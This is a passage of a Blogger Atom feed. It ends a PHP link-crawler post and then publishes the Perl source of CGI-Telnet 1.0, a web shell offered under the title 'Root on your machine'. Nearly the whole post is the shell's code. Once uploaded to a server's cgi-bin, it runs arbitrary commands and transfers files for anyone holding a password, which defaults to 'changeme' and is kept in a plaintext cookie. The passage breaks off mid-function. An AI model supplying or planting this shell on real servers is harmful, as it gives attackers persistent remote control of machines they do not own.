= $buffer; // read the first link into an array&lt;br /&gt;while (!feof($handle)) {&lt;br /&gt; $buffer = fgets($handle, 4096);&lt;br /&gt; array_push($oldlinks,$buffer); // read the rest of the links into an array&lt;br /&gt;}&lt;br /&gt;fclose($handle); // close the data file&lt;br /&gt;&lt;br /&gt;foreach($oldlinks as $value) { // for every link in the array&lt;br /&gt; print $value; // print it out&lt;br /&gt; $remote = fopen(trim($value), "r") or die(); //open it or fail nicely&lt;br /&gt; while (!feof($remote)) {&lt;br /&gt;  $html = fread($remote, 8192); // read in the remote page&lt;br /&gt; }&lt;br /&gt; fclose($remote); // close it&lt;br /&gt; if (preg_match_all($regex, $html, $links)) { // if we find new links&lt;br /&gt;  $local = fopen($datafile, "a+"); // open the data file&lt;br /&gt;  foreach($links[1] as $value) { // for every new link&lt;br /&gt;   $value.="\n"; // append a new line&lt;br /&gt;   if(!in_array($value,$oldlinks)) { // if we haven't seen it before (nb - case sensitive)&lt;br /&gt;    print($value); // print it out&lt;br /&gt;    fwrite($local, $value); // and write it to file&lt;br /&gt;   }&lt;br /&gt;  }&lt;br /&gt;  fclose($local); // close the data file&lt;br /&gt; }&lt;br /&gt; else {&lt;br /&gt;  print("No links."); // we didn't find any links in the new file&lt;br /&gt; }&lt;br /&gt;}&lt;br /&gt;?&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5729501043429724554-3136877183455486914?l=scripts-n-codes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://scripts-n-codes.blogspot.com/feeds/3136877183455486914/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5729501043429724554&amp;postID=3136877183455486914&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5729501043429724554/posts/default/3136877183455486914'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5729501043429724554/posts/default/3136877183455486914'/><link rel='alternate' type='text/html' href='http://scripts-n-codes.blogspot.com/2010/01/php-crawler-extracteur-de-liens.html' title='[PHP] Crawler | Extracteur de liens récursives'/><author><name>ubu</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_Rpg-hP4Y4L4/Sz_mBCVri-I/AAAAAAAAAew/Rp3OiKG2TJ8/S220/ubutux2.png'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5729501043429724554.post-3291583463984109764</id><published>2010-01-12T16:06:00.000-08:00</published><updated>2010-01-12T16:06:00.936-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='windows'/><category scheme='http://www.blogger.com/atom/ns#' term='unix'/><category scheme='http://www.blogger.com/atom/ns#' term='perl'/><category scheme='http://www.blogger.com/atom/ns#' term='root'/><category scheme='http://www.blogger.com/atom/ns#' term='cgi'/><title type='text'>[PERL &amp;&amp; CGI] Root on your machine | Rooter sa machine</title><content type='html'>&lt;script type="text/javascript" src="http://sites.google.com/site/dzubugnu/hightlighter/scripts/shBrushPerl.js"&gt;&lt;/script&gt;&lt;br /&gt;&lt;ul&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif;"&gt;  &lt;li&gt;&lt;a href="#A22323590796440840"&gt;&lt;span&gt;Description&amp;nbsp;[FR]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="#B22323590796440840"&gt;&lt;span&gt;Description&amp;nbsp;[EN]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="#C22323590796440840"&gt;&lt;span&gt;الوصف&amp;nbsp;[AR]&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="#D22323590796440840"&gt;&lt;span&gt;Perl&amp;nbsp;(#1)&lt;/span&gt;&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div id="A22323590796440840"&gt;Faire des trucs en root...&lt;span class="fullpost"&gt;&lt;br&gt;&lt;div&gt;Suivre les étapes décrites dans le fichier&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="B22323590796440840"&gt;Do stuff as root...&lt;span class="fullpost"&gt;&lt;br&gt;&lt;div&gt;Follow the steps described in the file.&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="C22323590796440840"&gt;&lt;div style="text-align: right;"&gt;إفعل أشعل كروت&amp;nbsp;&lt;/div&gt;&lt;span class="fullpost"&gt;&lt;br&gt;&lt;div style="text-align: right;"&gt;&lt;span class="Apple-style-span" style="font-size: small;"&gt;إتبع الخطوات المذكورة في السكريبت&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div id="D22323590796440840"&gt;&lt;a onClick='opennew("D22323590796440840")' rel='onw'&gt;Open in a new window&lt;/a&gt;&lt;br /&gt;&lt;pre class="brush: pl;" rel="long"&gt;#!/usr/bin/perl&lt;br /&gt;####################################################&lt;br /&gt;# find more scripts on scripts-n-codes.blogspot.com&lt;br /&gt;####################################################&lt;br /&gt;#------------------------------------------------------------------------------&lt;br /&gt;# Copyright and Licence&lt;br /&gt;#------------------------------------------------------------------------------&lt;br /&gt;# CGI-Telnet Version 1.0 for NT and Unix : Run Commands on your Web Server&lt;br /&gt;#&lt;br /&gt;# Copyright (C) 2001 Rohitab Batra&lt;br /&gt;# Permission is granted to use, distribute and modify this script so long&lt;br /&gt;# as this copyright notice is left intact. If you make changes to the script&lt;br /&gt;# please document them and inform me. If you would like any changes to be made&lt;br /&gt;# in this script, you can e-mail me.&lt;br /&gt;#&lt;br /&gt;# Author: Rohitab Batra&lt;br /&gt;# Author e-mail: rohitab@rohitab.com&lt;br /&gt;# Author Homepage: http://www.rohitab.com/&lt;br /&gt;# Script Homepage: http://www.rohitab.com/cgiscripts/cgitelnet.html&lt;br /&gt;# Product Support: http://www.rohitab.com/support/&lt;br /&gt;# Discussion Forum: http://www.rohitab.com/discuss/&lt;br /&gt;# Mailing List: http://www.rohitab.com/mlist/&lt;br /&gt;#------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;#------------------------------------------------------------------------------&lt;br /&gt;# Installation&lt;br /&gt;#------------------------------------------------------------------------------&lt;br /&gt;# To install this script&lt;br /&gt;#&lt;br /&gt;# 1. Modify the first line "#!/usr/bin/perl" to point to the correct path on&lt;br /&gt;#    your server. For most servers, you may not need to modify this.&lt;br /&gt;# 2. Change the password in the Configuration section below.&lt;br /&gt;# 3. If you're running the script under Windows NT, set $WinNT = 1 in the&lt;br /&gt;#    Configuration Section below.&lt;br /&gt;# 4. Upload the script to a directory on your server which has permissions to&lt;br /&gt;#    execute CGI scripts. This is usually cgi-bin. Make sure that you upload&lt;br /&gt;#    the script in ASCII mode.&lt;br /&gt;# 5. Change the permission (CHMOD) of the script to 755.&lt;br /&gt;# 6. Open the script in your web browser. If you uploaded the script in&lt;br /&gt;#    cgi-bin, this should be http://www.yourserver.com/cgi-bin/cgitelnet.pl&lt;br /&gt;# 7. Login using the password that you specified in Step 2.&lt;br /&gt;#------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;#------------------------------------------------------------------------------&lt;br /&gt;# Configuration: You need to change only $Password and $WinNT. The other&lt;br /&gt;# values should work fine for most systems.&lt;br /&gt;#------------------------------------------------------------------------------&lt;br /&gt;$Password = "changeme";  # Change this. You will need to enter this&lt;br /&gt;    # to login.&lt;br /&gt;&lt;br /&gt;$WinNT = 0;   # You need to change the value of this to 1 if&lt;br /&gt;    # you're running this script on a Windows NT&lt;br /&gt;    # machine. If you're running it on Unix, you&lt;br /&gt;    # can leave the value as it is.&lt;br /&gt;&lt;br /&gt;$NTCmdSep = "&amp;";  # This character is used to seperate 2 commands&lt;br /&gt;    # in a command line on Windows NT.&lt;br /&gt;&lt;br /&gt;$UnixCmdSep = ";";  # This character is used to seperate 2 commands&lt;br /&gt;    # in a command line on Unix.&lt;br /&gt;&lt;br /&gt;$CommandTimeoutDuration = 10; # Time in seconds after commands will be killed&lt;br /&gt;    # Don't set this to a very large value. This is&lt;br /&gt;    # useful for commands that may hang or that&lt;br /&gt;    # take very long to execute, like "find /".&lt;br /&gt;    # This is valid only on Unix servers. It is&lt;br /&gt;    # ignored on NT Servers.&lt;br /&gt;&lt;br /&gt;$ShowDynamicOutput = 1;  # If this is 1, then data is sent to the&lt;br /&gt;    # browser as soon as it is output, otherwise&lt;br /&gt;    # it is buffered and send when the command&lt;br /&gt;    # completes. This is useful for commands like&lt;br /&gt;    # ping, so that you can see the output as it&lt;br /&gt;    # is being generated.&lt;br /&gt;&lt;br /&gt;# DON'T CHANGE ANYTHING BELOW THIS LINE UNLESS YOU KNOW WHAT YOU'RE DOING !!&lt;br /&gt;&lt;br /&gt;$CmdSep = ($WinNT ? $NTCmdSep : $UnixCmdSep);&lt;br /&gt;$CmdPwd = ($WinNT ? "cd" : "pwd");&lt;br /&gt;$PathSep = ($WinNT ? "\\" : "/");&lt;br /&gt;$Redirector = ($WinNT ? " 2&gt;&amp;1 1&gt;&amp;2" : " 1&gt;&amp;1 2&gt;&amp;1");&lt;br /&gt;&lt;br /&gt;#------------------------------------------------------------------------------&lt;br /&gt;# Reads the input sent by the browser and parses the input variables. It&lt;br /&gt;# parses GET, POST and multipart/form-data that is used for uploading files.&lt;br /&gt;# The filename is stored in $in{'f'} and the data is stored in $in{'filedata'}.&lt;br /&gt;# Other variables can be accessed using $in{'var'}, where var is the name of&lt;br /&gt;# the variable. Note: Most of the code in this function is taken from other CGI&lt;br /&gt;# scripts.&lt;br /&gt;#------------------------------------------------------------------------------&lt;br /&gt;sub ReadParse &lt;br /&gt;{&lt;br /&gt; local (*in) = @_ if @_;&lt;br /&gt; local ($i, $loc, $key, $val);&lt;br /&gt; &lt;br /&gt; $MultipartFormData = $ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/;&lt;br /&gt;&lt;br /&gt; if($ENV{'REQUEST_METHOD'} eq "GET")&lt;br /&gt; {&lt;br /&gt;  $in = $ENV{'QUERY_STRING'};&lt;br /&gt; }&lt;br /&gt; elsif($ENV{'REQUEST_METHOD'} eq "POST")&lt;br /&gt; {&lt;br /&gt;  binmode(STDIN) if $MultipartFormData &amp; $WinNT;&lt;br /&gt;  read(STDIN, $in, $ENV{'CONTENT_LENGTH'});&lt;br /&gt; }&lt;br /&gt;&lt;br /&gt; # handle file upload data&lt;br /&gt; if($ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/)&lt;br /&gt; {&lt;br /&gt;  $Boundary = '--'.$1; # please refer to RFC1867 &lt;br /&gt;  @list = split(/$Boundary/, $in); &lt;br /&gt;  $HeaderBody = $list[1];&lt;br /&gt;  $HeaderBody =~ /\r\n\r\n|\n\n/;&lt;br /&gt;  $Header = $`;&lt;br /&gt;  $Body = $';&lt;br /&gt;   $Body =~ s/\r\n$//; # the last \r\n was put in by Netscape&lt;br /&gt;  $in{'filedata'} = $Body;&lt;br /&gt;  $Header =~ /filename=\"(.+)\"/; &lt;br /&gt;  $in{'f'} = $1; &lt;br /&gt;  $in{'f'} =~ s/\"//g;&lt;br /&gt;  $in{'f'} =~ s/\s//g;&lt;br /&gt;&lt;br /&gt;  # parse trailer&lt;br /&gt;  for($i=2; $list[$i]; $i++)&lt;br /&gt;  { &lt;br /&gt;   $list[$i] =~ s/^.+name=$//;&lt;br /&gt;   $list[$i] =~ /\"(\w+)\"/;&lt;br /&gt;   $key = $1;&lt;br /&gt;   $val = $';&lt;br /&gt;   $val =~ s/(^(\r\n\r\n|\n\n))|(\r\n$|\n$)//g;&lt;br /&gt;   $val =~ s/%(..)/pack("c", hex($1))/ge;&lt;br /&gt;   $in{$key} = $val; &lt;br /&gt;  }&lt;br /&gt; }&lt;br /&gt; else # standard post data (url encoded, not multipart)&lt;br /&gt; {&lt;br /&gt;  @in = split(/&amp;/, $in);&lt;br /&gt;  foreach $i (0 .. $#in)&lt;br /&gt;  {&lt;br /&gt;   $in[$i] =~ s/\+/ /g;&lt;br /&gt;   ($key, $val) = split(/=/, $in[$i], 2);&lt;br /&gt;   $key =~ s/%(..)/pack("c", hex($1))/ge;&lt;br /&gt;   $val =~ s/%(..)/pack("c", hex($1))/ge;&lt;br /&gt;   $in{$key} .= "\0" if (defined($in{$key}));&lt;br /&gt;   $in{$key} .= $val;&lt;br /&gt;  }&lt;br /&gt; }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;#------------------------------------------------------------------------------&lt;br /&gt;# Prints the HTML Page Header&lt;br /&gt;# Argument 1: Form item name to which focus should be set&lt;br /&gt;#------------------------------------------------------------------------------&lt;br /&gt;sub PrintPageHeader&lt;br /&gt;{&lt;br /&gt; $EncodedCurrentDir = $CurrentDir;&lt;br /&gt; $EncodedCurrentDir =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg;&lt;br /&gt; print "Content-type: text/html\n\n";&lt;br /&gt; print &amp;lt;&amp;lt;END;&lt;br /&gt;&amp;lt;html&gt;&lt;br /&gt;&amp;lt;head&gt;&lt;br /&gt;&amp;lt;title&gt;CGI-Telnet Version 1.0&amp;lt;/title&gt;&lt;br /&gt;$HtmlMetaHeader&lt;br /&gt;&amp;lt;/head&gt;&lt;br /&gt;&amp;lt;body  bgcolor="#000000" topmargin="0" leftmargin="0" marginwidth="0" marginheight="0"&gt;&lt;br /&gt;&amp;lt;table border="1" width="100%" cellspacing="0" cellpadding="2"&gt;&lt;br /&gt;&amp;lt;tr&gt;&lt;br /&gt;&amp;lt;td bgcolor="#C2BFA5" bordercolor="#000080" align="center"&gt;&lt;br /&gt;&amp;lt;b&gt;&amp;lt;font color="#000080" size="2"&gt;#&amp;lt;/font&gt;&amp;lt;/b&gt;&amp;lt;/td&gt;&lt;br /&gt;&amp;lt;td bgcolor="#000080"&gt;&amp;lt;font face="Verdana" size="2" color="#FFFFFF"&gt;&amp;lt;b&gt;CGI-Telnet Version 1.0 - Connected to $ServerName&amp;lt;/b&gt;&amp;lt;/font&gt;&amp;lt;/td&gt;&lt;br /&gt;&amp;lt;/tr&gt;&lt;br /&gt;&amp;lt;tr&gt;&lt;br /&gt;&amp;lt;td colspan="2" bgcolor="#C2BFA5"&gt;&amp;lt;font face="Verdana" size="2"&gt;&lt;br /&gt;&amp;lt;a href="$ScriptLocation?a=upload&amp;d=$EncodedCurrentDir"&gt;Upload File&amp;lt;/a&gt; | &lt;br /&gt;&amp;lt;a href="$ScriptLocation?a=download&amp;d=$EncodedCurrentDir"&gt;Download File&amp;lt;/a&gt; |&lt;br /&gt;&amp;lt;a href="$ScriptLocation?a=logout"&gt;Disconnect&amp;lt;/a&gt; |&lt;br /&gt;&amp;lt;a href="http://www.rohitab.com/cgiscripts/cgitelnet.html"&gt;Help&amp;lt;/a&gt;&lt;br /&gt;&amp;lt;/font&gt;&amp;lt;/td&gt;&lt;br /&gt;&amp;lt;/tr&gt;&lt;br /&gt;&amp;lt;/table&gt;&lt;br /&gt;&amp;lt;font color="#C0C0C0" size="3"&gt;&lt;br /&gt;END&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;#------------------------------------------------------------------------------&lt;br /&gt;# Prints the Login Screen&lt;br /&gt;#------------------------------------------------------------------------------&lt;br /&gt;sub PrintLoginScreen&lt;br /&gt;{&lt;br /&gt; $Message = q$&amp;lt;pre&gt;&amp;lt;font color="#669999"&gt; _____  _____  _____          _____        _               _&lt;br /&gt;/  __ \|  __ \|_   _|        |_   _|      | |             | |&lt;br /&gt;| /  \/| |  \/  | |   ______   | |    ___ | | _ __    ___ | |_&lt;br /&gt;| |    | | __   | |  |______|  | |   / _ \| || '_ \  / _ \| __|&lt;br /&gt;| \__/\| |_\ \ _| |_           | |  |  __/| || | | ||  __/| |_&lt;br /&gt; \____/ \____/ \___/           \_/   \___||_||_| |_| \___| \__| 1.0&lt;br /&gt;                                         &lt;br /&gt;&amp;lt;/font&gt;&amp;lt;font color="#FF0000"&gt;                      ______             &amp;lt;/font&gt;&amp;lt;font color="#AE8300"&gt;© 2001, Rohitab Batra&amp;lt;/font&gt;&amp;lt;font color="#FF0000"&gt;&lt;br /&gt;                   .-&amp;quot;      &amp;quot;-.&lt;br /&gt;                  /            \&lt;br /&gt;                 |              |&lt;br /&gt;                 |,  .-.  .-.  ,|&lt;br /&gt;                 | )(_o/  \o_)( |&lt;br /&gt;                 |/     /\     \|&lt;br /&gt;       (@_       (_     ^^     _)&lt;br /&gt;  _     ) \&amp;lt;/font&gt;&amp;lt;font color="#808080"&gt;_______&amp;lt;/font&gt;&amp;lt;font color="#FF0000"&gt;\&amp;lt;/font&gt;&amp;lt;font color="#808080"&gt;__&amp;lt;/font&gt;&amp;lt;font color="#FF0000"&gt;|IIIIII|&amp;lt;/font&gt;&amp;lt;font color="#808080"&gt;__&amp;lt;/font&gt;&amp;lt;font color="#FF0000"&gt;/&amp;lt;/font&gt;&amp;lt;font color="#808080"&gt;_______________________&lt;br /&gt;&amp;lt;/font&gt;&amp;lt;font color="#FF0000"&gt; (_)&amp;lt;/font&gt;&amp;lt;font color="#808080"&gt;@8@8&amp;lt;/font&gt;&amp;lt;font color="#FF0000"&gt;{}&amp;lt;/font&gt;&amp;lt;font color="#808080"&gt;&amp;lt;________&amp;lt;/font&gt;&amp;lt;font color="#FF0000"&gt;|-\IIIIII/-|&amp;lt;/font&gt;&amp;lt;font color="#808080"&gt;________________________&amp;gt;&amp;lt;/font&gt;&amp;lt;font color="#FF0000"&gt;&lt;br /&gt;        )_/        \          / &lt;br /&gt;       (@           `--------`&lt;br /&gt;             &amp;lt;/font&gt;&amp;lt;font color="#AE8300"&gt;W A R N I N G: Private Server&amp;lt;/font&gt;&amp;lt;/pre&gt;&lt;br /&gt;$;&lt;br /&gt;#'&lt;br /&gt; print &amp;lt;&amp;lt;END;&lt;br /&gt;&amp;lt;code&gt;&lt;br /&gt;Trying $ServerName...&amp;lt;br&gt;&lt;br /&gt;Connected to $ServerName&amp;lt;br&gt;&lt;br /&gt;Escape character is ^]&lt;br /&gt;&amp;lt;code&gt;$Message&lt;br /&gt;END&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;#------------------------------------------------------------------------------&lt;br /&gt;# Prints the message that informs the user of a failed login&lt;br /&gt;#------------------------------------------------------------------------------&lt;br /&gt;sub PrintLoginFailedMessage&lt;br /&gt;{&lt;br /&gt; print &amp;lt;&amp;lt;END;&lt;br /&gt;&amp;lt;code&gt;&lt;br /&gt;&amp;lt;br&gt;login: admin&amp;lt;br&gt;&lt;br /&gt;password:&amp;lt;br&gt;&lt;br /&gt;Login incorrect&amp;lt;br&gt;&amp;lt;br&gt;&lt;br /&gt;&amp;lt;/code&gt;&lt;br /&gt;END&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;#------------------------------------------------------------------------------&lt;br /&gt;# Prints the HTML form for logging in&lt;br /&gt;#------------------------------------------------------------------------------&lt;br /&gt;sub PrintLoginForm&lt;br /&gt;{&lt;br /&gt; print &amp;lt;&amp;lt;END;&lt;br /&gt;&amp;lt;code&gt;&lt;br /&gt;&amp;lt;form name="f" method="POST" action="$ScriptLocation"&gt;&lt;br /&gt;&amp;lt;input type="hidden" name="a" value="login"&gt;&lt;br /&gt;login: admin&amp;lt;br&gt;&lt;br /&gt;password:&amp;lt;input type="password" name="p"&gt;&lt;br /&gt;&amp;lt;input type="submit" value="Enter"&gt;&lt;br /&gt;&amp;lt;/form&gt;&lt;br /&gt;&amp;lt;/code&gt;&lt;br /&gt;END&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;#------------------------------------------------------------------------------&lt;br /&gt;# Prints the footer for the HTML Page&lt;br /&gt;#------------------------------------------------------------------------------&lt;br /&gt;sub PrintPageFooter&lt;br /&gt;{&lt;br /&gt; print "&amp;lt;/font&gt;&amp;lt;/body&gt;&amp;lt;/html&gt;";&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;#------------------------------------------------------------------------------&lt;br /&gt;# Retreives the values of all cookies. The cookies can be accesses using the&lt;br /&gt;# variable $Cookies{''}&lt;br /&gt;#------------------------------------------------------------------------------&lt;br /&gt;sub GetCookies&lt;br /&gt;{&lt;br /&gt; @httpcookies = split(/; /,$ENV{'HTTP_COOKIE'});&lt;br /&gt; foreach $cookie(@httpcookies)&lt;br /&gt; {&lt;br /&gt;  ($id, $val) = split(/=/, $cookie);&lt;br /&gt;  $Cookies{$id} = $val;&lt;br /&gt; }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;#------------------------------------------------------------------------------&lt;br /&gt;# Prints the screen when the user logs out&lt;br /&gt;#------------------------------------------------------------------------------&lt;br /&gt;sub PrintLogoutScreen&lt;br /&gt;{&lt;br /&gt; print "&amp;lt;code&gt;Connection closed by foreign host.&amp;lt;br&gt;&amp;lt;br&gt;&amp;lt;/code&gt;";&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;#------------------------------------------------------------------------------&lt;br /&gt;# Logs out the user and allows the user to login again&lt;br /&gt;#------------------------------------------------------------------------------&lt;br /&gt;sub PerformLogout&lt;br /&gt;{&lt;br /&gt; print "Set-Cookie: SAVEDPWD=;\n"; # remove password cookie&lt;br /&gt; &amp;PrintPageHeader("p");&lt;br /&gt; &amp;PrintLogoutScreen;&lt;br /&gt; &amp;PrintLoginScreen;&lt;br /&gt; &amp;PrintLoginForm;&lt;br /&gt; &amp;PrintPageFooter;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;#------------------------------------------------------------------------------&lt;br /&gt;# This function is called to login the user. If the password matches, it&lt;br /&gt;# displays a page that allows the user to run commands. If the password doens't&lt;br /&gt;# match or if no password is entered, it displays a form that allows the user&lt;br /&gt;# to login&lt;br /&gt;#------------------------------------------------------------------------------&lt;br /&gt;sub PerformLogin &lt;br /&gt;{&lt;br /&gt; if($LoginPassword eq $Password) # password matched&lt;br /&gt; {&lt;br /&gt;  print "Set-Cookie: SAVEDPWD=$LoginPassword;\n";&lt;br /&gt;  &amp;PrintPageHeader("c");&lt;br /&gt;  &amp;PrintCommandLineInputForm;&lt;br /&gt;  &amp;PrintPageFooter;&lt;br /&gt; }&lt;br /&gt; else # password didn't match&lt;br /&gt; {&lt;br /&gt;  &amp;PrintPageHeader("p");&lt;br /&gt;  &amp;PrintLoginScreen;&lt;br /&gt;  if($LoginPassword ne "") # some password was entered&lt;br /&gt;  {&lt;br /&gt;   &amp;PrintLoginFailedMessage;&lt;br /&gt;  }&lt;br /&gt;  &amp;PrintLoginForm;&lt;br /&gt;  &amp;PrintPageFooter;&lt;br /&gt; }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;#------------------------------------------------------------------------------&lt;br /&gt;# Prints the HTML form that allows the user to enter commands&lt;br /&gt;#------------------------------------------------------------------------------&lt;br /&gt;sub PrintCommandLineInputForm&lt;br /&gt;{&lt;br /&gt; $Prompt = $WinNT ? "$CurrentDir&gt; " : "[admin\@$ServerName $CurrentDir]\$ ";&lt;br /&gt; print &amp;lt;&amp;lt;END;&lt;br /&gt;&amp;lt;code&gt;&lt;br /&gt;&amp;lt;form name="f" method="POST" action="$ScriptLocation"&gt;&lt;br /&gt;&amp;lt;input type="hidden" name="a" value="command"&gt;&lt;br /&gt;&amp;lt;input type="hidden" name="d" value="$CurrentDir"&gt;&lt;br /&gt;$Prompt&lt;br /&gt;&amp;lt;input type="text" name="c"&gt;&lt;br /&gt;&amp;lt;input type="submit" value="Enter"&gt;&lt;br /&gt;&amp;lt;/form&gt;&lt;br /&gt;&amp;lt;/code&gt;&lt;br /&gt;END&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;#------------------------------------------------------------------------------&lt;br /&gt;# Prints the HTML form that allows the user to download files&lt;br /&gt;#------------------------------------------------------------------------------&lt;br /&gt;sub PrintFileDownloadForm&lt;br /&gt;{&lt;br /&gt; $Prompt = $WinNT ? "$CurrentDir&gt; " : "[admin\@$ServerName $CurrentDir]\$ ";&lt;br /&gt; print &amp;lt;&amp;lt;END;&lt;br /&gt;&amp;lt;code&gt;&lt;br /&gt;&amp;lt;form name="f" method="POST" action="$ScriptLocation"&gt;&lt;br /&gt;&amp;lt;input type="hidden" name="d" value="$CurrentDir"&gt;&lt;br /&gt;&amp;lt;input type="hidden" name="a" value="download"&gt;&lt;br /&gt;$Prompt download&amp;lt;br&gt;&amp;lt;br&gt;&lt;br /&gt;Filename: &amp;lt;input type="text" name="f" size="35"&gt;&amp;lt;br&gt;&amp;lt;br&gt;&lt;br /&gt;Download: &amp;lt;input type="submit" value="Begin"&gt;&lt;br /&gt;&amp;lt;/form&gt;&lt;br /&gt;&amp;lt;/code&gt;&lt;br /&gt;END&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;#------------------------------------------------------------------------------&lt;br /&gt;# Prints the HTML form that allows the user to upload files&lt;br /&gt;#------------------------------------------------------------------------------&lt;br /&gt;sub PrintFileUploadForm&lt;br /&gt;{&lt;br /&gt; $Prompt = $WinNT ? "$CurrentDir&gt; " : "[admin\@$ServerName $CurrentDir]\$ ";&lt;br /&gt; print &amp;lt;&amp;lt;END;&lt;br /&gt;&amp;lt;code&gt;&lt;br /&gt;&amp;lt;form name="f" enctype="multipart/form-data" method="POST" action="$ScriptLocation"&gt;&lt;br /&gt;$Prompt upload&amp;lt;br&gt;&amp;lt;br&gt;&lt;br /&gt;Filename: &amp;lt;input type="file" name="f" size="35"&gt;&amp;lt;br&gt;&amp;lt;br&gt;&lt;br /&gt;Options: &amp;nbsp;&amp;lt;input type="checkbox" name="o" value="overwrite"&gt;&lt;br /&gt;Overwrite if it Exists&amp;lt;br&gt;&amp;lt;br&gt;&lt;br /&gt;Upload:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;input type="submit" value="Begin"&gt;&lt;br /&gt;&amp;lt;input type="hidden" name="d" value="$CurrentDir"&gt;&lt;br /&gt;&amp;lt;input type="hidden" name="a" value="upload"&gt;&lt;br /&gt;&amp;lt;/form&gt;&lt;br /&gt;&amp;lt;/code&gt;&lt;br /&gt;END&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;#------------------------------------------------------------------------------&lt;br /&gt;# This function is called when the timeout for a command expires. We need to&lt;br /&gt;# terminate the script immediately. This function is valid only on Unix. It is&lt;br /&gt;# never called when the script is running on NT.&lt;br /&gt;#------------------------------------------------------------------------------&lt;br /&gt;sub CommandTimeout&lt;br /&gt;{&lt;br /&gt; if(!$WinNT)&lt;br /&gt; {&lt;br /&gt;  alarm(0);&lt;br /&gt;  print &amp;lt;&amp;lt;END;&lt;br /&gt;&amp;lt;/xmp&gt;&lt;br /&gt;&amp;lt;code&gt;&lt;br /&gt;Command exceeded maximum time of $CommandTimeoutDuration second(s).&lt;br /&gt;&amp;lt;br&gt;Killed it!&lt;br /&gt;&amp;lt;code&gt;&lt;br /&gt;END&lt;br /&gt;  &amp;PrintCommandLineInputForm;&lt;br /&gt;  &amp;PrintPageFooter;&lt;br /&gt;  exit;&lt;br /&gt; }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;#------------------------------------------------------------------------------&lt;br /&gt;# This function is called to execute commands. It displays the output of the&lt;br /&gt;# command and allows the user to enter another command. The change directory&lt;br /&gt;# command is handled differently. In this case, the new directory is stored in&lt;br /&gt;# an internal variable and is used each time a command has to be executed. The&lt;br /&gt;# output of the change directory command is not displayed to the users&lt;br /&gt;# therefore error messages cannot be displayed.&lt;br /&gt;#------------------------------------------------------------------------------&lt;br /&gt;sub ExecuteCommand&lt;br /&gt;{&lt;br /&gt; if($RunCommand =~ m/^\s*cd\s+(.+)/) # it is a change dir command&lt;br /&gt; {&lt;br /&gt;  # we change the directory internally. The output of the&lt;br /&gt;  # command is not displayed.&lt;br /&gt;  &lt;br /&gt;  $OldDir = $CurrentDir;&lt;br /&gt;  $Command = "cd \"$CurrentDir\"".$CmdSep."cd $1".$CmdSep.$CmdPwd;&lt;br /&gt;  chop($CurrentDir = `$Command`);&lt;br /&gt;  &amp;PrintPageHeader("c");&lt;br /&gt;  $Prompt = $WinNT ? "$OldDir&gt; " : "[admin\@$ServerName $OldDir]\$ ";&lt;br /&gt;  print "&amp;lt;code&gt;$Prompt $RunCommand&amp;lt;/code&gt;";&lt;br /&gt; }&lt;br /&gt; else # some other command, display the output&lt;br /&gt; {&lt;br /&gt;  &amp;PrintPageHeader("c");&lt;br /&gt;  $Prompt = $WinNT ? "$CurrentDir&gt; " : "[admin\@$ServerName $CurrentDir]\$ ";&lt;br /&gt;  print "&amp;lt;code&gt;$Prompt $RunCommand&amp;lt;/code&gt;&amp;lt;xmp&gt;";&lt;br /&gt;  $Command = "cd \"$CurrentDir\"".$CmdSep.$RunCommand.$Redirector;&lt;br /&gt;  if(!$WinNT)&lt;br /&gt;  {&lt;br /&gt;   $SIG{'ALRM'} = \&amp;CommandTimeout;&lt;br /&gt;   alarm($CommandTimeoutDuration);&lt;br /&gt;  }&lt;br /&gt;  if($ShowDynamicOutput) # show output as it is generated&lt;br /&gt;  {&lt;br /&gt;   $|=1;&lt;br /&gt;   $Command .= " |";&lt;br /&gt;   open(CommandOutput, $Command);&lt;br /&gt;   while(&amp;lt;CommandOutput&gt;)&lt;br /&gt;   {&lt;br /&gt;    $_ =~ s/(\n|\r\n)$//;&lt;br /&gt;    print "$_\n";&lt;br /&gt;   }&lt;br /&gt;   $|=0;&lt;br /&gt;  }&lt;br 